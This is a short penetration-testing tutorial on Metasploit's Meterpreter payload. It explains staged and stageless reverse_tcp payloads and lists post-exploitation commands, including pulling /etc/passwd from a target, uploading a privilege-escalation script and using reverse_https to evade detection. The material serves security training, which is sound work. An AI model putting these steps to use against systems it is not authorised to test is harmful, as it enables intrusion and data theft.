Meterpreter Payloads

Meterpreter is a multi-function payload that can be dynamically extended at run-time. The payload resides entirely in memory on the target and its communication is encrypted by default. Meterpreter offers capabilities that are especially useful in the post-exploitation phase and exists for various operating systems such as Windows, Linux, macOS, Android, and more.

In Simpler terms, When a hacker runs Meterpreter on a computer, it sneaks inside and hides there. It doesn't leave any trace on the hard drive, so it's very hard to find. Meterpreter can do lots of cool things, like taking pictures of the screen, recording what the person types, and even running other programs.

There are two types of payloads, which we have also discussed earlier.

- **Staged Meterpreter:** A two-stage payload where a small initial stager sets up communication and loads the larger Meterpreter stage from the attacker's system. Example - **windows/meterpreter/reverse_tcp**.
- **Stageless Meterpreter:** A single payload containing the entire Meterpreter code and any required extensions, eliminating the need for a separate staging process. Example - **windows/meterpreter_reverse_tcp**.
- We will Use the show payloads commands to list all payloads available for the exploit and choose we will choose the meterpreter one.

```
show payloads

set payload 11

show options

run
```

- Once we are dropped in a meterpreter shell. We can use various given commands.

```
# Display commands and help for meterpreter shell

help

# Display system information of target like OS, Arch, Computer address.

sysinfo
```

```
# Display username

getuid

# Use a normal command shell.

shell
```

- We can background our shell sessions like before and then use them with the help of channels.

```
# List all active channels

channel -l

# Interact with a particular channel.

channel -i 1
```

- We can interact with our local filesystem using the below commands.

```
# Display current working directory of our attacker machine

lpwd

# Change working directory of our attacker machine

lcd /home/kali/Downloads

# Download /etc/passwd file

download /etc/passwd

# Display contents of the downloaded file

lcat /home/kali/Downloads/passwd

# Upload other scripts onto the target

upload /usr/bin/unix-privesc-check /tmp/
```

We can also use reverse_https payloads in place of normal tcp payloads to get some stealth. Though they are not 100% to prevent detection but might work in certain scenarios.